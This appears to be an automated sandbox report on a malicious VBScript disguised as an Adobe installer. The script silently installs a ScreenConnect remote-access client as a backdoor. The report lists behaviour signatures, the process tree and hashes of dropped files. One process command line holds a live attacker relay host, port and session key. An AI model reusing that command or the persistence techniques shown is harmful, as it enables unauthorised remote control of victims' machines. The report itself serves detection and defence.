Analysis

  • max time kernel
    300s
  • max time network
    258s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 03:36

General

  • Target
    AdobeInstaller.vbs
  • Size 1KB
  • Sample260731-d596yaan4v
  • SHA256 21cd87454bb73dd2f91fd686d94275b6656bc733c2c3e4f96e555052745dd7d5
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Deletes itself 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AdobeInstaller.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:984
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AdobeInstaller.vbs" /elev
      2⤵
      • Badlisted process makes network request
      • Deletes itself
      • Executes a VBScript file via the Windows Script Host.
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:832
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\PsYJIjRg.msi" /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3916
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5256
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4AE2A7192E1EBA45E4914C5B56F70C2C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:760
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSICB74.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240766031 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4684
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 000758F31C8546D826DC8D88BDB97015 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5988
    • C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.gqchrome.pro&p=8041&s=5017b57e-4c24-4de8-a770-7870071638bf&k=BgIAAACkAABSU0ExAAgAAAEAAQAJXpbvZ7SXMqVr%2f7H2RH2FqV5BMuFwnz166AuVjD%2b7d3iSkqyJN6161ixqcfkPWaOgxjZ6abDbLCIaLByeiRBcSXmjdbl%2fwu05GfDM8a%2bYZPorOIpcxi2ADyUTWtgvaWK8ap4j2kYbYXG8eBuaAFi1oTaFxLdm1G%2bgNaNL7e5XxB8JHS0I%2fXnNrshPfJgbnPLc8FzQiMQU%2b6IVmaiHKKBcO4RFHe5S193i0LRZHfi4BAz4a1pXq1QYdDh8smxZIuyQfR%2fiwD1N%2fM1FZijLixNgt7ufJOJnoPxO4pb4nMpe10TWYcj8YRkqBwl6JC%2bk4O5agmAJQKROiDILtG2Zdn3E"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6536
      • C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsClient.exe" "RunRole" "17b485c1-be6a-4b60-81f4-1fb1bdfba7a6" "User"
        2⤵
        • Executes dropped EXE
        PID:6004
      • C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsClient.exe" "RunRole" "5e7fa005-1b72-44bc-b8e7-af3d6b4656bc" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4892

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59c6b4.rbs

          • Path C:\Config.Msi\e59c6b4.rbs
          • Size 214KB
          • SHA256 cc8985186e6097c67e50ba13f627c6f606ce9bd70c8b4012f932c96a39050b0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\Client.Override.resources
          • Size 38KB
          • SHA256 4b7574f0ec681d2363365262d4de6b7ff31d010e539d31b43c15313878b1d5ef
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4e2deb9bd171b465)\system.config
          • Size 944B
          • SHA256 f61bdbb73cc03cfbe886bef72ea4022329b587daa627d69725342b275e0bca21
          • MD5 SHA1 SHA512 TLSH

          PsYJIjRg.msi

          • Path C:\Users\Admin\AppData\Local\Temp\PsYJIjRg.msi
          • Size 12.9MB
          • SHA256 102b05b30e7bf9581149650cf68d6f70daa73f871df67d642fc01d084b2a32e6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSICB74.tmp

          • Path C:\Windows\Installer\MSICB74.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSICB74.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSICB74.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSICB74.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSICB74.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSID1CF.tmp

          • Path C:\Windows\Installer\MSID1CF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4684-26-0x0000000003DD0000-0x0000000003DFE000-memory.dmp

          memory/4684-34-0x0000000005EC0000-0x0000000005F4C000-memory.dmp

          memory/4684-39-0x0000000006870000-0x0000000006E2A000-memory.dmp

          memory/4684-38-0x0000000006100000-0x00000000062AC000-memory.dmp

          memory/4684-30-0x0000000003E00000-0x0000000003E0A000-memory.dmp

          memory/6004-123-0x000000001C5D0000-0x000000001C758000-memory.dmp

          memory/6004-122-0x000000001C290000-0x000000001C43C000-memory.dmp

          memory/6004-121-0x000000001C050000-0x000000001C0DC000-memory.dmp

          memory/6004-120-0x0000000001910000-0x0000000001946000-memory.dmp

          memory/6004-124-0x00000000018B0000-0x00000000018C8000-memory.dmp

          memory/6004-125-0x0000000003210000-0x0000000003228000-memory.dmp

          memory/6004-119-0x0000000000FB0000-0x0000000001048000-memory.dmp

          memory/6536-94-0x0000000003ED0000-0x0000000003F62000-memory.dmp

          memory/6536-78-0x0000000003930000-0x0000000003948000-memory.dmp

          memory/6536-89-0x0000000003BA0000-0x0000000003BF0000-memory.dmp

          memory/6536-98-0x00000000040C0000-0x0000000004195000-memory.dmp

          memory/6536-93-0x0000000003BF0000-0x0000000003C26000-memory.dmp

          memory/6536-96-0x0000000003C30000-0x0000000003C71000-memory.dmp